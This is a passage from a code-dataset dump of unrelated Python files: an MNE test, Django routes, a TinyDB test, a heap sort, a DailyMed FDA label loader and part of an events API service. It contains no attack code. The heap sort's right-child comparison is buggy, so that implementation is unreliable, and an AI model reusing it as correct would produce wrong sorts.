proj='delayed')\n evoked = epochs.average()\n evoked_ref = add_reference_channels(evoked, 'Ref', copy=True)\n assert_equal(evoked_ref.data.shape[0], evoked.data.shape[0] + 1)\n _check_channel_names(evoked_ref, 'Ref')\n ref_idx = evoked_ref.ch_names.index('Ref')\n ref_data = evoked_ref.data[ref_idx, :]\n assert_array_equal(ref_data, 0)\n picks_eeg = pick_types(evoked.info, meg=False, eeg=True)\n assert_array_equal(evoked.data[picks_eeg, :],\n evoked_ref.data[picks_eeg, :])\n\n # add two reference channels to evoked\n raw = read_raw_fif(fif_fname, preload=True)\n events = read_events(eve_fname)\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n # create epochs in delayed mode, allowing removal of CAR when re-reffing\n epochs = Epochs(raw, events=events, event_id=1, tmin=-0.2, tmax=0.5,\n picks=picks_eeg, preload=True, proj='delayed')\n evoked = epochs.average()\n with warnings.catch_warnings(record=True): # multiple set zero\n evoked_ref = add_reference_channels(evoked, ['M1', 'M2'], copy=True)\n assert_equal(evoked_ref.data.shape[0], evoked.data.shape[0] + 2)\n _check_channel_names(evoked_ref, ['M1', 'M2'])\n ref_idx = evoked_ref.ch_names.index('M1')\n ref_idy = evoked_ref.ch_names.index('M2')\n ref_data = evoked_ref.data[[ref_idx, ref_idy], :]\n assert_array_equal(ref_data, 0)\n picks_eeg = pick_types(evoked.info, meg=False, eeg=True)\n assert_array_equal(evoked.data[picks_eeg, :],\n evoked_ref.data[picks_eeg, :])\n\n # Test invalid inputs\n raw_np = read_raw_fif(fif_fname, preload=False)\n assert_raises(RuntimeError, add_reference_channels, raw_np, ['Ref'])\n assert_raises(ValueError, add_reference_channels, raw, 1)\n\nrun_tests_if_main()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/mne-tools_mne-python/mne-python-master/mne/io/tests/test_reference.py","file_name":"test_reference.py","file_ext":"py","file_size_in_byte":18744,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"10219565949","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', include('base.urls')),\n path('auth/', include('users.urls')),\n path('meetings/', include('meetings.urls')),\n path('newsletters/', include('news.urls')),\n path('library/', include('library.urls')),\n path('admin/', admin.site.urls),\n path('summernote/', include('django_summernote.urls')),\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","repo_name":"sirthom9123/Church-Manager","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11272577200","text":"import numpy as np\n\ndef get_word_indices(word_list, index):\n common_indices = []\n new_word_list = []\n for word in word_list:\n try:\n common_indices.append(index[word])\n new_word_list.append(word)\n except KeyError:\n print(\"Unmapped word!\")\n return new_word_list, np.array(common_indices)","repo_name":"agonzalezreyes/coha-cooccur","sub_path":"src/indexing.py","file_name":"indexing.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10072581574","text":"import tempfile\n\nfrom tinydb import Query\nfrom tinydb import TinyDB\n\nfrom flask_tinydb.storages import YAMLStorage\n\n\ndef test_yaml_storage():\n path = tempfile.mkstemp()[1]\n\n storage = YAMLStorage\n\n # Create a TinyDB instance\n db = TinyDB(path, storage=storage)\n\n name = Query()\n\n db.insert({\"name\": \"John Doe\"})\n assert db.all() == [{\"name\": \"John Doe\"}]\n\n db.insert({\"name\": \"Another John Doe\"})\n assert db.all() == [{\"name\": \"John Doe\"}, {\"name\": \"Another John Doe\"}]\n\n db.update({\"name\": \"John Doe II\"}, name.name == \"John Doe\")\n assert db.all() == [{\"name\": \"John Doe II\"}, {\"name\": \"Another John Doe\"}]\n\n db.remove(name.name == \"John Doe II\")\n assert db.all() == [{\"name\": \"Another John Doe\"}]\n","repo_name":"mmdbalkhi/Flask-tinydb","sub_path":"tests/test_storage.py","file_name":"test_storage.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"4720622213","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n__author__ = 'zjbao123'\r\n\r\n\r\nclass heap_sort(object):\r\n def _max_heapify(self, alist, i, heap_size=None):\r\n length = len(alist)\r\n if heap_size is None:\r\n heap_size = length\r\n l = 2 * i + 1\r\n r = 2 * i + 2\r\n largest = i\r\n if l < heap_size and alist[l] > alist[i]:\r\n largest = l\r\n if l < heap_size and alist[r] > alist[i]:\r\n largest = r\r\n if largest != i:\r\n alist[i], alist[largest] = alist[largest], alist[i]\r\n self._max_heapify(alist, largest, heap_size)\r\n\r\n def _build_max_heap(self, alist):\r\n root_end = int(len(alist) / 2)\r\n for i in range(root_end-1,-1,-1):\r\n self._max_heapify(alist,i)\r\n\r\n def __call__(self, sort_list):\r\n self._build_max_heap(sort_list)\r\n heap_size = len(sort_list)\r\n for i in range(len(sort_list)-1,0,-1):\r\n sort_list[0],sort_list[i]=sort_list[i],sort_list[0]\r\n heap_size -=1\r\n self._max_heapify(sort_list, 0, heap_size)\r\n return sort_list\r\n","repo_name":"zjbao123/learn_python_demo","sub_path":"python27/algorithm/heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33607227482","text":"import sqlite3\n\n\ndef get_cities():\n conn = sqlite3.connect('cities.db')\n c = conn.cursor()\n\n cities = []\n for row in c.execute(\"SELECT name, state FROM city ORDER BY state, name\"):\n cities.append({\n \"city\": row[0],\n \"state\": row[1]\n })\n\n return cities","repo_name":"alfredoheights/sunrisesunset","sub_path":"cities.py","file_name":"cities.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2059736083","text":"from bs4 import BeautifulSoup\nfrom contextlib import closing\nfrom datetime import datetime, timedelta\nimport logging\nimport re\nimport shutil\nimport urllib.request as request\nimport os\nfrom zipfile import ZipFile\nfrom distutils.util import strtobool\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.conf import settings\nfrom django.db.utils import IntegrityError, OperationalError\n\nfrom data.models import DrugLabel, LabelProduct, ProductSection\nfrom users.models import MyLabel\nfrom data.constants import FDA_SECTION_NAME_MAP\n\nlogger = logging.getLogger(__name__)\n\n# python manage.py load_fda_data --type test --cleanup False --insert False --count_titles True\n# python manage.py load_fda_data --type my_label --my_label_id 9 --cleanup False --insert False\n# runs with `python manage.py load_fda_data --type {type}`\nclass Command(BaseCommand):\n help = \"Loads data from FDA\"\n re_combine_whitespace = re.compile(r\"\\s+\")\n re_remove_nonalpha_characters = re.compile(\"[^a-zA-Z ]\")\n\n def __init__(self, stdout=None, stderr=None, no_color=False, force_color=False):\n root_logger = logging.getLogger(\"\")\n root_logger.setLevel(logging.INFO)\n\n self.root_dir = settings.MEDIA_ROOT / \"fda\"\n os.makedirs(self.root_dir, exist_ok=True)\n super().__init__(stdout, stderr, no_color, force_color)\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--type\", type=str, help=\"full, monthly, test or my_label\", default=\"monthly\"\n )\n parser.add_argument(\n \"--insert\", type=strtobool, help=\"Set to connect to DB\", default=True\n )\n parser.add_argument(\n \"--cleanup\", type=strtobool, help=\"Set to cleanup files\", default=False\n )\n parser.add_argument(\n \"--my_label_id\", type=int, help=\"set my_label_id for --type my_label\", default=None\n )\n parser.add_argument(\n \"--count_titles\", type=strtobool, help=\"output counts of the section_names\", default=False\n )\n\n \"\"\"\n Entry point into class from command line\n \"\"\"\n\n def handle(self, *args, **options):\n import_type = options[\"type\"]\n insert = options[\"insert\"]\n cleanup = options[\"cleanup\"]\n my_label_id = options[\"my_label_id\"]\n count_titles = options[\"count_titles\"]\n logger.debug(f\"options: {options}\")\n\n # my_label type already has the xml uploaded/downloaded\n if import_type == \"my_label\":\n record_zips = []\n xml_files = []\n else:\n root_zips = self.download_records(import_type)\n record_zips = self.extract_prescription_zips(root_zips)\n xml_files = self.extract_xmls(record_zips)\n\n if count_titles:\n self.count_titles(xml_files)\n\n self.import_records(xml_files, insert, my_label_id)\n\n if cleanup:\n self.cleanup(record_zips)\n self.cleanup(xml_files)\n\n logger.info(\"DONE\")\n\n # Test function for data exploration\n def get_names(self, xml_files):\n unapproved_count = 0\n exception_count = 0\n total_count = 0\n for xml_file in xml_files:\n total_count += 1\n with open(xml_file) as f:\n content = BeautifulSoup(f.read(), \"lxml\")\n product_name = \"\"\n generic_name = \"\"\n try:\n product_name = content.find(\"subject\").find(\"name\").text.upper()\n generic_name = content.find(\"genericmedicine\").find(\"name\").text\n unapproved_bool = False\n approval = content.find(\"approval\")\n if approval is not None:\n for code in approval.find_all(\"code\"):\n if \"unapproved\" in code.get(\"displayname\", \"\").lower():\n unapproved_bool = True\n except Exception as e:\n print(e)\n exception_count +=1\n if unapproved_bool:\n unapproved_count += 1\n print(f\"{product_name:50}\\t{generic_name:50}\\t{str(xml_file).split('/')[-1]}\")\n if total_count % 100 == 0:\n print(f\"{unapproved_count}:{len(xml_files)}\\t{exception_count}\")\n\n print(f\"{unapproved_count}:{len(xml_files)}\\t{exception_count}\")\n\n def download_records(self, import_type):\n logger.info(\"Downloading bulk archives.\")\n file_dir = self.root_dir / import_type\n os.makedirs(file_dir, exist_ok=True)\n records = []\n\n if import_type == \"full\":\n for i in range(1, 5):\n archive_url = f\"ftp://public.nlm.nih.gov/nlmdata/.dailymed/dm_spl_release_human_rx_part{i}.zip\"\n records.append(self.download_single_zip(archive_url, file_dir))\n elif import_type == \"monthly\":\n now = datetime.now()\n prev_month_lastday = now.replace(day=1) - timedelta(days=1)\n month, year = (\n prev_month_lastday.strftime(\"%b\").lower(),\n prev_month_lastday.year,\n )\n archive_url = f\"ftp://public.nlm.nih.gov/nlmdata/.dailymed/dm_spl_monthly_update_{month}{year}.zip\"\n records.append(self.download_single_zip(archive_url, file_dir))\n elif import_type == \"test\":\n archive_url = f\"ftp://public.nlm.nih.gov/nlmdata/.dailymed/dm_spl_daily_update_10262021.zip\"\n records.append(self.download_single_zip(archive_url, file_dir))\n archive_url = f\"ftp://public.nlm.nih.gov/nlmdata/.dailymed/dm_spl_daily_update_10182021.zip\"\n records.append(self.download_single_zip(archive_url, file_dir))\n else:\n raise CommandError(\"Type must be one of 'full', 'monthly', or 'test'\")\n\n return records\n\n def download_single_zip(self, ftp, dest):\n url_filename = ftp.split(\"/\")[-1]\n file_path = dest / url_filename\n\n if os.path.exists(file_path):\n logger.info(f\"File already exists: {file_path}. Skipping.\")\n return file_path\n\n # Download the drug labels archive file\n with closing(request.urlopen(ftp)) as r:\n with open(file_path, \"wb\") as f:\n logger.info(f\"Downloading {ftp} to {file_path}\")\n shutil.copyfileobj(r, f)\n return file_path\n\n \"\"\"\n Daily Med will package it's bulk and monthly into groups of zips. This step is neccesary to\n extract individual drug label zips from the bulk archive.\n \"\"\"\n\n def extract_prescription_zips(self, zips):\n logger.info(\"Extracting prescription Archives\")\n file_dir = self.root_dir / \"record_zips\"\n os.makedirs(file_dir, exist_ok=True)\n record_zips = []\n\n for zip_file in zips:\n with ZipFile(zip_file, \"r\") as zip_file_object:\n for file_info in zip_file_object.infolist():\n if file_info.filename.startswith(\n \"prescription\"\n ) and file_info.filename.endswith(\".zip\"):\n outfile = file_dir / os.path.basename(file_info.filename)\n file_info.filename = os.path.basename(file_info.filename)\n if os.path.exists(outfile):\n logger.info(\n f\"Record Zip already exists: {outfile}. Skipping.\"\n )\n else:\n logger.info(f\"Creating Record Zip {outfile}\")\n zip_file_object.extract(file_info, file_dir)\n record_zips.append(outfile)\n return record_zips\n\n def extract_xmls(self, zips):\n logger.info(\"Extracting XMLs\")\n file_dir = self.root_dir / \"xmls\"\n os.makedirs(file_dir, exist_ok=True)\n xml_files = []\n\n for zip_file in zips:\n with ZipFile(zip_file, \"r\") as zip_file_object:\n for file in zip_file_object.namelist():\n if file.endswith(\".xml\"):\n outfile = file_dir / file\n if os.path.exists(outfile):\n logger.info(f\"XML already exists: {outfile}. Skipping.\")\n else:\n logger.info(f\"Creating XML {outfile}\")\n zip_file_object.extract(file, file_dir)\n xml_files.append(outfile)\n return xml_files\n\n def count_titles(self, xml_records):\n titles = []\n for xml_file in xml_records:\n try:\n with open(xml_file) as f:\n content = BeautifulSoup(f.read(), \"lxml\")\n\n for section in content.find_all(\"component\"):\n # the structuredbody component is the parent that contains everything, skip it\n structured_body = section.find_next(\"structuredbody\")\n if structured_body is not None:\n logger.debug(f\"SKIPPING: structuredbody\")\n continue\n\n code = section.find(\n \"code\", attrs={\"codesystem\": \"2.16.840.1.113883.6.1\"}\n )\n if code is None:\n continue\n title = str(code.get(\"displayname\")).upper()\n if title == \"SPL UNCLASSIFIED SECTION\":\n try:\n title = code.find_next_sibling().get_text(strip=True)\n logger.debug(f\"UNCLASSIFIED title: {title}\")\n except AttributeError:\n pass\n title = self.re_combine_whitespace.sub(\" \", title).strip()\n title = self.re_remove_nonalpha_characters.sub(\"\", title)\n title = self.re_combine_whitespace.sub(\" \", title).strip()\n\n titles.append(title)\n except Exception as e:\n logger.error(\"Error\")\n raise e\n\n import collections\n\n counter = collections.Counter(titles)\n logger.info(counter.most_common(10))\n import csv\n\n with open(\"top_displaynames.csv\", \"w\") as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow([\"displayname\", \"count\"])\n csvwriter.writerows(counter.most_common(3000))\n\n def import_records(self, xml_records, insert, my_label_id):\n logger.info(\"Building Drug Label DB records from XMLs\")\n\n if len(xml_records) == 0 and my_label_id is not None:\n logger.info(f\"processing my_label_id: {my_label_id}\")\n ml = MyLabel.objects.filter(pk=my_label_id).get()\n xml_file = ml.file.path\n dl = ml.drug_label\n self.process_xml_file(xml_file, insert, dl, my_label_id)\n # TODO better way to know if the process_xml_file was successful\n ml.is_successfully_parsed = True\n ml.save()\n else:\n for xml_file in xml_records:\n try:\n dl = DrugLabel()\n self.process_xml_file(xml_file, insert, dl, my_label_id)\n except Exception as e:\n logger.error(f\"Could not parse {xml_file}\")\n logger.error(str(e))\n continue\n\n\n def process_xml_file(self, xml_file, insert, dl, my_label_id=None):\n logger.debug(f\"insert: {insert}\")\n with open(xml_file) as f:\n content = BeautifulSoup(f.read(), \"lxml\")\n\n # Skip unapproved drug labels\n if self.check_if_unapproved(content):\n logger.info(f\"Skipping {xml_file} because it is not approved\")\n return\n\n dl.source = \"FDA\"\n dl.product_name = content.find(\"subject\").find(\"name\").text.title()\n try:\n generic_name = content.find(\"genericmedicine\").find(\"name\").text\n except AttributeError:\n # don't insert record if we cannot find this\n logger.error(\"unable to find generic_name\")\n return\n dl.generic_name = generic_name[:255].title()\n\n try:\n dl.version_date = datetime.strptime(\n content.find(\"effectivetime\").get(\"value\"), \"%Y%m%d\"\n )\n except ValueError:\n dl.version_date = datetime.now()\n\n try:\n dl.marketer = content.find(\"author\").find(\"name\").text.title()\n except AttributeError:\n dl.marketer = \"\"\n\n # Ensure always selecting the same ndc code if multiple\n ndc_codes = [ndc_code.get(\"code\") for ndc_code in content.find_all(\"code\", attrs={\"codesystem\": \"2.16.840.1.113883.6.69\"})]\n dl.source_product_number = sorted(ndc_codes)[0]\n \n \n if my_label_id is not None:\n dl.source_product_number = f\"my_label_{my_label_id}\" + dl.source_product_number\n\n # texts = [p.text for p in content.find_all(\"paragraph\")]\n # dl.raw_text = \"\\n\".join(texts)\n dl.raw_rext = \"\"\n\n lp = LabelProduct(drug_label=dl)\n\n root = content.find(\"setid\").get(\"root\")\n dl.link = f\"https://dailymed.nlm.nih.gov/dailymed/drugInfo.cfm?setid={root}\"\n\n try:\n if insert:\n dl.save()\n logger.info(f\"Saving new drug label: {dl}\")\n except IntegrityError as e:\n logger.error(str(e))\n return\n\n try:\n if insert:\n lp.save()\n logger.info(f\"Saving new label product\")\n except IntegrityError as e:\n logger.error(str(e))\n return\n\n # In the following section we will build the different sections. We do this by matching XML components\n # to predetermined FDA_SECTION_NAMES, and for components that do not match, we add them to an \"OTHER\"\n # category\n section_map = {}\n for section in content.find_all(\"component\"):\n # the structuredbody component is the parent that contains everything, skip it\n structured_body = section.find_next(\"structuredbody\")\n if structured_body is not None:\n logger.debug(f\"SKIPPING: structuredbody\")\n continue\n logger.debug(f\"section: {repr(section)}\")\n\n code = section.find(\n \"code\", attrs={\"codesystem\": \"2.16.840.1.113883.6.1\"}\n )\n if code is None:\n continue\n\n title = str(code.get(\"displayname\")).upper()\n logger.debug(f\"title: {title}\")\n\n if title == \"SPL UNCLASSIFIED SECTION\":\n try:\n title = code.find_next_sibling().get_text(strip=True)\n logger.debug(f\"UNCLASSIFIED title: {title}\")\n except AttributeError:\n pass\n\n title = self.re_combine_whitespace.sub(\" \", title).strip()\n title = self.re_remove_nonalpha_characters.sub(\"\", title)\n title = self.re_combine_whitespace.sub(\" \", title).strip()\n\n if title not in FDA_SECTION_NAME_MAP.keys():\n section_name = \"OTHER\"\n else:\n section_name = FDA_SECTION_NAME_MAP[title]\n\n # Now that we have determined what section, grab all the text in the component and add it as the\n # value to a corresponding hashmap. If a value already exists, add it to the end\n raw_section_texts = [str(p) for p in section.find_all(\"text\")]\n section_texts = \"
    \".join(raw_section_texts)\n logger.debug(f\"section_texts: {section_texts}\")\n\n # Save other titles in section text\n if section_name == \"OTHER\":\n section_texts = title + \"
    \" + section_texts\n\n # Save to keyed section of map, concatenating repeat sections\n if section_map.get(section_name) is None:\n section_map[section_name] = section_texts\n else:\n if section_name != \"OTHER\":\n logger.debug(\n f\"Found another section: {section_name}\\twith title\\t{title}\"\n )\n section_map[section_name] = (\n section_map[section_name]\n + f\"
    {title}
    \"\n + section_texts\n )\n\n # Now that the sections have been parsed, save them\n for section_name, section_text in section_map.items():\n ps = ProductSection(\n label_product=lp,\n section_name=section_name.title(),\n section_text=section_text,\n )\n try:\n if insert:\n ps.save()\n logger.debug(f\"Saving new product section {ps}\")\n except IntegrityError as e:\n logger.error(str(e))\n except OperationalError as e:\n logger.error(str(e))\n\n def check_if_unapproved(self, content):\n try:\n approval = content.find(\"approval\")\n if approval is not None:\n for code in approval.find_all(\"code\"):\n if \"unapproved\" in code.get(\"displayname\", \"\").lower():\n return True # It is unapproved\n except Exception as e:\n logger.warning(e)\n return False # Otherwise assume it is approved\n\n def cleanup(self, files):\n for file in files:\n logger.debug(f\"remove: {file}\")\n os.remove(file)\n","repo_name":"DrugLabelExplorer/dle","sub_path":"dle/data/management/commands/load_fda_data.py","file_name":"load_fda_data.py","file_ext":"py","file_size_in_byte":18203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30570101986","text":"import itertools\nimport math\nfrom collections import defaultdict\nfrom operator import itemgetter\nfrom typing import Sequence, Optional, Union, Tuple, Mapping\n\nimport attr\nimport jsonmodels.fields\nfrom boltons.iterutils import bucketize\n\nfrom apiserver.apierrors import errors\nfrom apiserver.apimodels.events import (\n MultiTaskScalarMetricsIterHistogramRequest,\n ScalarMetricsIterHistogramRequest,\n MetricEventsRequest,\n MetricEventsResponse,\n MetricEvents,\n IterationEvents,\n TaskMetricsRequest,\n LogEventsRequest,\n LogOrderEnum,\n NextHistorySampleRequest,\n MetricVariants as ApiMetrics,\n TaskPlotsRequest,\n TaskEventsRequest,\n ScalarMetricsIterRawRequest,\n ClearScrollRequest,\n ClearTaskLogRequest,\n SingleValueMetricsRequest,\n GetVariantSampleRequest,\n GetMetricSamplesRequest,\n TaskMetric,\n MultiTaskPlotsRequest,\n)\nfrom apiserver.bll.event import EventBLL\nfrom apiserver.bll.event.event_common import EventType, MetricVariants, TaskCompanies\nfrom apiserver.bll.event.events_iterator import Scroll\nfrom apiserver.bll.event.scalar_key import ScalarKeyEnum, ScalarKey\nfrom apiserver.bll.model import ModelBLL\nfrom apiserver.bll.task import TaskBLL\nfrom apiserver.config_repo import config\nfrom apiserver.database.model.model import Model\nfrom apiserver.database.model.task.task import Task\nfrom apiserver.service_repo import APICall, endpoint\nfrom apiserver.utilities import json, extract_properties_to_lists\n\ntask_bll = TaskBLL()\nevent_bll = EventBLL()\nmodel_bll = ModelBLL()\n\n\ndef _assert_task_or_model_exists(\n company_id: str, task_ids: Union[str, Sequence[str]], model_events: bool\n) -> Union[Sequence[Model], Sequence[Task]]:\n if model_events:\n return model_bll.assert_exists(\n company_id,\n task_ids,\n allow_public=True,\n only=(\"id\", \"name\", \"company\", \"company_origin\"),\n )\n\n return task_bll.assert_exists(\n company_id,\n task_ids,\n allow_public=True,\n only=(\"id\", \"name\", \"company\", \"company_origin\"),\n )\n\n\n@endpoint(\"events.add\")\ndef add(call: APICall, company_id, _):\n data = call.data.copy()\n added, err_count, err_info = event_bll.add_events(company_id, [data], call.worker)\n call.result.data = dict(added=added, errors=err_count, errors_info=err_info)\n\n\n@endpoint(\"events.add_batch\")\ndef add_batch(call: APICall, company_id, _):\n events = call.batched_data\n if events is None or len(events) == 0:\n raise errors.bad_request.BatchContainsNoItems()\n\n added, err_count, err_info = event_bll.add_events(\n company_id,\n events,\n call.worker,\n )\n call.result.data = dict(added=added, errors=err_count, errors_info=err_info)\n\n\n@endpoint(\"events.get_task_log\", required_fields=[\"task\"])\ndef get_task_log_v1_5(call, company_id, _):\n task_id = call.data[\"task\"]\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n order = call.data.get(\"order\") or \"desc\"\n scroll_id = call.data.get(\"scroll_id\")\n batch_size = int(call.data.get(\"batch_size\") or 500)\n events, scroll_id, total_events = event_bll.scroll_task_events(\n task.get_index_company(),\n task_id,\n order,\n event_type=EventType.task_log,\n batch_size=batch_size,\n scroll_id=scroll_id,\n )\n call.result.data = dict(\n events=events, returned=len(events), total=total_events, scroll_id=scroll_id\n )\n\n\n@endpoint(\"events.get_task_log\", min_version=\"1.7\", required_fields=[\"task\"])\ndef get_task_log_v1_7(call, company_id, _):\n task_id = call.data[\"task\"]\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n\n order = call.data.get(\"order\") or \"desc\"\n from_ = call.data.get(\"from\") or \"head\"\n scroll_id = call.data.get(\"scroll_id\")\n batch_size = int(call.data.get(\"batch_size\") or 500)\n\n scroll_order = \"asc\" if (from_ == \"head\") else \"desc\"\n\n events, scroll_id, total_events = event_bll.scroll_task_events(\n company_id=task.get_index_company(),\n task_id=task_id,\n order=scroll_order,\n event_type=EventType.task_log,\n batch_size=batch_size,\n scroll_id=scroll_id,\n )\n\n if scroll_order != order:\n events = events[::-1]\n\n call.result.data = dict(\n events=events, returned=len(events), total=total_events, scroll_id=scroll_id\n )\n\n\n@endpoint(\"events.get_task_log\", min_version=\"2.9\", request_data_model=LogEventsRequest)\ndef get_task_log(call, company_id, request: LogEventsRequest):\n task_id = request.task\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n\n res = event_bll.events_iterator.get_task_events(\n event_type=EventType.task_log,\n company_id=task.get_index_company(),\n task_id=task_id,\n batch_size=request.batch_size,\n navigate_earlier=request.navigate_earlier,\n from_timestamp=request.from_timestamp,\n )\n\n if request.order and (\n (request.navigate_earlier and request.order == LogOrderEnum.asc)\n or (not request.navigate_earlier and request.order == LogOrderEnum.desc)\n ):\n res.events.reverse()\n\n call.result.data = dict(\n events=res.events, returned=len(res.events), total=res.total_events\n )\n\n\n@endpoint(\"events.download_task_log\", required_fields=[\"task\"])\ndef download_task_log(call, company_id, _):\n task_id = call.data[\"task\"]\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n\n line_type = call.data.get(\"line_type\", \"json\").lower()\n line_format = str(call.data.get(\"line_format\", \"{asctime} {worker} {level} {msg}\"))\n\n is_json = line_type == \"json\"\n if not is_json:\n if not line_format:\n raise errors.bad_request.MissingRequiredFields(\n \"line_format is required for plain text lines\"\n )\n\n # validate line format placeholders\n valid_task_log_fields = {\"asctime\", \"timestamp\", \"level\", \"worker\", \"msg\"}\n\n invalid_placeholders = set()\n while True:\n try:\n line_format.format(\n **dict.fromkeys(valid_task_log_fields | invalid_placeholders)\n )\n break\n except KeyError as e:\n invalid_placeholders.add(e.args[0])\n except Exception as e:\n raise errors.bad_request.FieldsValueError(\n \"invalid line format\", error=e.args[0]\n )\n\n if invalid_placeholders:\n raise errors.bad_request.FieldsValueError(\n \"undefined placeholders in line format\",\n placeholders=invalid_placeholders,\n )\n\n # make sure line_format has a trailing newline\n line_format = line_format.rstrip(\"\\n\") + \"\\n\"\n\n def generate():\n scroll_id = None\n batch_size = 1000\n while True:\n log_events, scroll_id, _ = event_bll.scroll_task_events(\n task.get_index_company(),\n task_id,\n order=\"asc\",\n event_type=EventType.task_log,\n batch_size=batch_size,\n scroll_id=scroll_id,\n )\n if not log_events:\n break\n for ev in log_events:\n ev[\"asctime\"] = ev.pop(\"timestamp\")\n if is_json:\n ev.pop(\"type\")\n ev.pop(\"task\")\n yield json.dumps(ev) + \"\\n\"\n else:\n try:\n yield line_format.format(**ev)\n except KeyError as ex:\n raise errors.bad_request.FieldsValueError(\n \"undefined placeholders in line format\",\n placeholders=[str(ex)],\n )\n\n if len(log_events) < batch_size:\n break\n\n call.result.filename = \"task_%s.log\" % task_id\n call.result.content_type = \"text/plain\"\n call.result.raw_data = generate()\n\n\n@endpoint(\"events.get_vector_metrics_and_variants\", required_fields=[\"task\"])\ndef get_vector_metrics_and_variants(call, company_id, _):\n task_id = call.data[\"task\"]\n model_events = call.data[\"model_events\"]\n task_or_model = _assert_task_or_model_exists(\n company_id,\n task_id,\n model_events=model_events,\n )[0]\n call.result.data = dict(\n metrics=event_bll.get_metrics_and_variants(\n task_or_model.get_index_company(), task_id, EventType.metrics_vector\n )\n )\n\n\n@endpoint(\"events.get_scalar_metrics_and_variants\", required_fields=[\"task\"])\ndef get_scalar_metrics_and_variants(call, company_id, _):\n task_id = call.data[\"task\"]\n model_events = call.data[\"model_events\"]\n task_or_model = _assert_task_or_model_exists(\n company_id,\n task_id,\n model_events=model_events,\n )[0]\n call.result.data = dict(\n metrics=event_bll.get_metrics_and_variants(\n task_or_model.get_index_company(), task_id, EventType.metrics_scalar\n )\n )\n\n\n# todo: !!! currently returning 10,000 records. should decide on a better way to control it\n@endpoint(\n \"events.vector_metrics_iter_histogram\",\n required_fields=[\"task\", \"metric\", \"variant\"],\n)\ndef vector_metrics_iter_histogram(call, company_id, _):\n task_id = call.data[\"task\"]\n model_events = call.data[\"model_events\"]\n task_or_model = _assert_task_or_model_exists(\n company_id,\n task_id,\n model_events=model_events,\n )[0]\n metric = call.data[\"metric\"]\n variant = call.data[\"variant\"]\n iterations, vectors = event_bll.get_vector_metrics_per_iter(\n task_or_model.get_index_company(), task_id, metric, variant\n )\n call.result.data = dict(\n metric=metric, variant=variant, vectors=vectors, iterations=iterations\n )\n\n\nclass GetTaskEventsScroll(Scroll):\n from_key_value = jsonmodels.fields.StringField()\n total = jsonmodels.fields.IntField()\n request: TaskEventsRequest = jsonmodels.fields.EmbeddedField(TaskEventsRequest)\n\n\ndef make_response(\n total: int, returned: int = 0, scroll_id: str = None, **kwargs\n) -> dict:\n return {\n \"returned\": returned,\n \"total\": total,\n \"scroll_id\": scroll_id,\n **kwargs,\n }\n\n\n@endpoint(\"events.get_task_events\", request_data_model=TaskEventsRequest)\ndef get_task_events(_, company_id, request: TaskEventsRequest):\n task_id = request.task\n task_or_model = _assert_task_or_model_exists(\n company_id,\n task_id,\n model_events=request.model_events,\n )[0]\n\n key = ScalarKeyEnum.iter\n scalar_key = ScalarKey.resolve(key)\n\n if not request.scroll_id:\n from_key_value = None if (request.order == LogOrderEnum.desc) else 0\n total = None\n else:\n try:\n scroll = GetTaskEventsScroll.from_scroll_id(request.scroll_id)\n except ValueError:\n raise errors.bad_request.InvalidScrollId(scroll_id=request.scroll_id)\n\n if scroll.from_key_value is None:\n return make_response(\n scroll_id=request.scroll_id, total=scroll.total, events=[]\n )\n\n from_key_value = scalar_key.cast_value(scroll.from_key_value)\n total = scroll.total\n\n scroll.request.batch_size = request.batch_size or scroll.request.batch_size\n request = scroll.request\n\n navigate_earlier = request.order == LogOrderEnum.desc\n metric_variants = _get_metric_variants_from_request(request.metrics)\n\n if request.count_total and total is None:\n total = event_bll.events_iterator.count_task_events(\n event_type=request.event_type,\n company_id=task_or_model.get_index_company(),\n task_id=task_id,\n metric_variants=metric_variants,\n )\n\n batch_size = min(\n request.batch_size,\n int(\n config.get(\"services.events.events_retrieval.max_raw_scalars_size\", 10_000)\n ),\n )\n\n res = event_bll.events_iterator.get_task_events(\n event_type=request.event_type,\n company_id=task_or_model.get_index_company(),\n task_id=task_id,\n batch_size=batch_size,\n key=ScalarKeyEnum.iter,\n navigate_earlier=navigate_earlier,\n from_key_value=from_key_value,\n metric_variants=metric_variants,\n )\n\n scroll = GetTaskEventsScroll(\n from_key_value=str(res.events[-1][scalar_key.field]) if res.events else None,\n total=total,\n request=request,\n )\n\n return make_response(\n returned=len(res.events),\n total=total,\n scroll_id=scroll.get_scroll_id(),\n events=res.events,\n )\n\n\n@endpoint(\"events.get_scalar_metric_data\", required_fields=[\"task\", \"metric\"])\ndef get_scalar_metric_data(call, company_id, _):\n task_id = 